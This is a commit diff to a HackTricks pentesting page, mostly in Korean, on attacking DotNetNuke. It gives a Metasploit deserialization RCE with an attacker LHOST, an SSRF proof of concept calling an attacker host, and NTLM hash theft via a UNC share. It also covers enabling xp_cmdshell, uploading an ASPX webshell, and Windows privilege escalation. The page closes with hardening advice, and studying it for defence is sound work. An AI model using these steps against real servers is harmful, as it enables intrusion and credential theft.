mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d
This commit is contained in:
parent
00a2e990a8
commit
5a760a1f66
@ -4,37 +4,92 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
DNN에 **관리자**로 로그인하면 RCE를 얻는 것이 쉽습니다.
|
||||
DNN에 **관리자**로 로그인하면 **RCE**를 얻는 것이 쉽지만, 최근 몇 년 동안 여러 *인증되지 않은* 및 *인증 후* 기술이 발표되었습니다. 다음 치트 시트는 공격 및 방어 작업 모두에 유용한 기본 요소를 수집합니다.
|
||||
|
||||
## RCE
|
||||
---
|
||||
## 버전 및 환경 열거
|
||||
|
||||
### SQL을 통한 방법
|
||||
* *X-DNN* HTTP 응답 헤더를 확인하세요 – 일반적으로 정확한 플랫폼 버전을 공개합니다.
|
||||
* 설치 마법사는 `/Install/Install.aspx?mode=install`에서 버전을 유출합니다 (매우 오래된 설치에서 접근 가능).
|
||||
* `/API/PersonaBar/GetStatus` (9.x)는 낮은 권한 사용자를 위해 `"dnnVersion"`을 포함하는 JSON 블롭을 반환합니다.
|
||||
* 라이브 인스턴스에서 볼 수 있는 일반적인 쿠키:
|
||||
* `.DOTNETNUKE` – ASP.NET 폼 인증 티켓.
|
||||
* `DNNPersonalization` – XML/직렬화된 사용자 프로필 데이터가 포함되어 있습니다 (구버전 – 아래 RCE 참조).
|
||||
|
||||
**`Settings`** 페이지에서 SQL 콘솔에 접근할 수 있으며, 여기서 **`xp_cmdshell`**을 활성화하고 **운영 체제 명령을 실행**할 수 있습니다.
|
||||
---
|
||||
## 인증되지 않은 악용
|
||||
|
||||
**`xp_cmdshell`**을 활성화하려면 다음 줄을 사용하세요:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', '1'
|
||||
RECONFIGURE
|
||||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
### 1. 쿠키 역직렬화 RCE (CVE-2017-9822 및 후속)
|
||||
*영향을 받는 버전 ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization`은 내장된 404 핸들러가 활성화될 때마다 모든 요청에서 역직렬화됩니다. 따라서 조작된 XML은 임의의 가젯 체인 및 코드 실행으로 이어질 수 있습니다.
|
||||
```
|
||||
그리고 **"Run Script"**를 눌러 해당 SQL 문을 실행합니다.
|
||||
|
||||
그런 다음, 다음과 같은 방법을 사용하여 OS 명령을 실행합니다:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
### Via ASP webshell
|
||||
모듈은 패치되었지만 여전히 취약한 버전(CVE-2018-15811/15812/18325/18326)에 대해 올바른 경로를 자동으로 선택합니다. 7.x–9.1.x에서는 **인증 없이** 공격이 가능하며, 9.2.x+에서는 *검증된* 저권한 계정으로 가능합니다.
|
||||
|
||||
In `Settings -> Security -> More -> More Security Settings` you can **새로운 허용된 확장자 추가** under `Allowable File Extensions`, and then clicking the `Save` button.
|
||||
### 2. 서버 측 요청 위조 (CVE-2025-32372)
|
||||
*영향을 받는 버전 < 9.13.8 – 패치가 2025년 4월에 출시됨*
|
||||
|
||||
Add **`asp`** or **`aspx`** and then in **`/admin/file-management`** upload an **asp webshell** called `shell.asp` for example.
|
||||
구버전 `DnnImageHandler` 수정의 우회를 통해 공격자가 서버에 **임의의 GET 요청**(반-블라인드 SSRF)을 하도록 강제할 수 있습니다. 실제 영향:
|
||||
|
||||
Then access to **`/Portals/0/shell.asp`** to access your webshell.
|
||||
* 클라우드 배포에서 내부 포트 스캔 / 메타데이터 서비스 검색.
|
||||
* 인터넷에서 방화벽으로 차단된 호스트에 접근.
|
||||
|
||||
### Privilege Escalation
|
||||
개념 증명(대체 `TARGET` & `ATTACKER`):
|
||||
```
|
||||
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
```
|
||||
요청은 백그라운드에서 트리거됩니다; 콜백을 위해 리스너를 모니터링하세요.
|
||||
|
||||
You can **권한 상승** using the **Potatoes** or **PrintSpoofer** for example.
|
||||
### 3. NTLM 해시 노출 via UNC 리디렉션 (CVE-2025-52488)
|
||||
*영향을 받는 버전 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
특별히 조작된 콘텐츠는 DNN이 `\\attacker\share\img.png`와 같은 **UNC 경로**를 사용하여 리소스를 가져오도록 시도하게 만들 수 있습니다. Windows는 NTLM 협상을 기꺼이 수행하며, 서버 계정 해시를 공격자에게 유출합니다. **10.0.1**로 업그레이드하거나 방화벽에서 아웃바운드 SMB를 비활성화하세요.
|
||||
|
||||
### 4. IP 필터 우회 (CVE-2025-52487)
|
||||
관리자가 *Host/IP 필터*에 의존하여 관리 포털을 보호하는 경우, **10.0.1** 이전 버전은 리버스 프록시 시나리오에서 `X-Forwarded-For`를 조작하여 우회될 수 있음을 유의하세요.
|
||||
|
||||
---
|
||||
## 인증 후 RCE
|
||||
|
||||
### SQL 콘솔을 통한
|
||||
**`Settings → SQL`** 아래에 내장된 쿼리 창이 사이트 데이터베이스에 대한 실행을 허용합니다. Microsoft SQL Server에서 **`xp_cmdshell`**을 활성화하고 명령을 생성할 수 있습니다:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell', 1;
|
||||
RECONFIGURE;
|
||||
GO
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
||||
### ASPX 웹쉘 업로드 방법
|
||||
1. **`Settings → Security → More → More Security Settings`**로 이동합니다.
|
||||
2. **Allowable File Extensions**에 `aspx` (또는 `asp`)를 추가하고 **저장**합니다.
|
||||
3. **`/admin/file-management`**로 이동하여 `shell.aspx`를 업로드합니다.
|
||||
4. **`/Portals/0/shell.aspx`**에서 이를 트리거합니다.
|
||||
|
||||
---
|
||||
## Windows에서의 권한 상승
|
||||
**IIS AppPool\<Site>**로 코드 실행이 이루어지면, 일반적인 Windows 권한 상승 기법이 적용됩니다. 만약 시스템이 취약하다면 다음을 활용할 수 있습니다:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool**를 사용하여 *SeImpersonatePrivilege*를 악용합니다.
|
||||
* **Juicy/Sharp Potatoes**를 사용하여 *Service Accounts*에서 탈출합니다.
|
||||
|
||||
---
|
||||
## 강화 권장 사항 (블루 팀)
|
||||
|
||||
* **9.13.9** 이상으로 **업그레이드**합니다 (SSRF 우회 수정) 또는 바람직하게는 **10.0.1** (IP 필터 및 NTLM 문제).
|
||||
* 설치 후 잔여 **`InstallWizard.aspx*`** 파일을 제거합니다.
|
||||
* 아웃바운드 SMB (포트 445/139) 이그레스를 비활성화합니다.
|
||||
* DNN 내에서가 아니라 엣지 프록시에서 강력한 *Host Filters*를 적용합니다.
|
||||
* 사용하지 않는 경우 `/API/RemoteContentProxy`에 대한 접근을 차단합니다.
|
||||
|
||||
## 참조
|
||||
|
||||
* Metasploit `dnn_cookie_deserialization_rce` 모듈 문서 – 실용적인 인증되지 않은 RCE 세부정보 (GitHub).
|
||||
* GitHub 보안 자문 GHSA-3f7v-qx94-666m – 2025 SSRF 우회 및 패치 정보.
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user